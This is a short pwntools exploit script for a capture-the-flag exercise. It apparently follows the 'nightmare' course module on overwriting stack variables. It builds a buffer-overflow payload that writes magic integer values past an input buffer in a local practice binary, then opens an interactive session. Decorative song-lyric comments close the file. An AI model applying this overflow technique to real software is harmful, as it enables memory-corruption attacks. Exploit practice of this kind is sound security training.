# +------------------------------------------------+
# | Atack: Overwrite Variables                     |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable

from pwn import *
import time
import sf

target = process("./chall-test_BofVar-04-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x58)
bof_payload.add_int32(0x20, 0xdead)
bof_payload.add_int32(0x1c, 0xbeef)
bof_payload.add_int32(0x18, 0xfacadf)
bof_payload.add_int32(0x14, 0xbef0)
bof_payload.add_int32(0x10, 0xfacade)
bof_payload.add_int32(0xc, 0xdeac)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Five Finger Death Punch                |
# +------------------------------------------------+
# | Song: Battle Born                              |
# +------------------------------------------------+
# | I've been a thousand places                    |
# | and shook a milion hands                       |
# +------------------------------------------------+

